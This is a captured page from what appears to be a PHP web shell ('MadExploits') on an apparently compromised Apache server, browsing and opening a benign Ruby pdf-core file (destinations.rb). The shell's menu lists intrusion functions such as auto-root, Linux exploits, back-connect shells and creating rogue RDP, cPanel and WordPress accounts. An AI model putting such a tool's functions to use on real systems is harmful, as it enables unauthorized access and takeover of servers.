Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
pdf /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
annotations.rb
1.97
KB
-rw-r--r--
byte_string.rb
247
B
-rw-r--r--
destinations.rb
3.02
KB
-rw-r--r--
document_state.rb
2.39
KB
-rw-r--r--
filter_list.rb
874
B
-rw-r--r--
filters.rb
760
B
-rw-r--r--
graphics_state.rb
2.29
KB
-rw-r--r--
literal_string.rb
573
B
-rw-r--r--
name_tree.rb
4.15
KB
-rw-r--r--
object_store.rb
2.22
KB
-rw-r--r--
outline_item.rb
763
B
-rw-r--r--
outline_root.rb
295
B
-rw-r--r--
page.rb
5.67
KB
-rw-r--r--
page_geometry.rb
3.77
KB
-rw-r--r--
pdf_object.rb
3.58
KB
-rw-r--r--
reference.rb
1.83
KB
-rw-r--r--
renderer.rb
7.81
KB
-rw-r--r--
stream.rb
2.07
KB
-rw-r--r--
text.rb
9.92
KB
-rw-r--r--
utils.rb
207
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : destinations.rb
# frozen_string_literal: true # Implements destination support for PDF # # Copyright November 2008, Jamis Buck. All Rights Reserved. # # This is free software. Please see the LICENSE and COPYING files for details. module PDF module Core module Destinations #:nodoc: # The maximum number of children to fit into a single node in the Dests # tree. NAME_TREE_CHILDREN_LIMIT = 20 #:nodoc: # The Dests name tree in the Name dictionary (see # Prawn::Document::Internal#names). This name tree is used to store named # destinations (PDF spec 8.2.1). (For more on name trees, see section # 3.8.4 in the PDF spec.) # def dests names.data[:Dests] ||= ref!( PDF::Core::NameTree::Node.new(self, NAME_TREE_CHILDREN_LIMIT) ) end # Adds a new destination to the dests name tree (see #dests). The # +reference+ parameter will be converted into a PDF::Core::Reference if # it is not already one. # def add_dest(name, reference) reference = ref!(reference) unless reference.is_a?(PDF::Core::Reference) dests.data.add(name, reference) end # Return a Dest specification for a specific location (and optional zoom # level). # def dest_xyz(left, top, zoom = nil, dest_page = page) [dest_page.dictionary, :XYZ, left, top, zoom] end # Return a Dest specification that will fit the given page into the # viewport. # def dest_fit(dest_page = page) [dest_page.dictionary, :Fit] end # Return a Dest specification that will fit the given page horizontally # into the viewport, aligned vertically at the given top coordinate. # def dest_fit_horizontally(top, dest_page = page) [dest_page.dictionary, :FitH, top] end # Return a Dest specification that will fit the given page vertically # into the viewport, aligned horizontally at the given left coordinate. # def dest_fit_vertically(left, dest_page = page) [dest_page.dictionary, :FitV, left] end # Return a Dest specification that will fit the given rectangle into the # viewport, for the given page. # def dest_fit_rect(left, bottom, right, top, dest_page = page) [dest_page.dictionary, :FitR, left, bottom, right, top] end # Return a Dest specfication that will fit the given page's bounding box # into the viewport. # def dest_fit_bounds(dest_page = page) [dest_page.dictionary, :FitB] end # Same as #dest_fit_horizontally, but works on the page's bounding box # instead of the entire page. # def dest_fit_bounds_horizontally(top, dest_page = page) [dest_page.dictionary, :FitBH, top] end # Same as #dest_fit_vertically, but works on the page's bounding box # instead of the entire page. # def dest_fit_bounds_vertically(left, dest_page = page) [dest_page.dictionary, :FitBV, left] end end end end
Close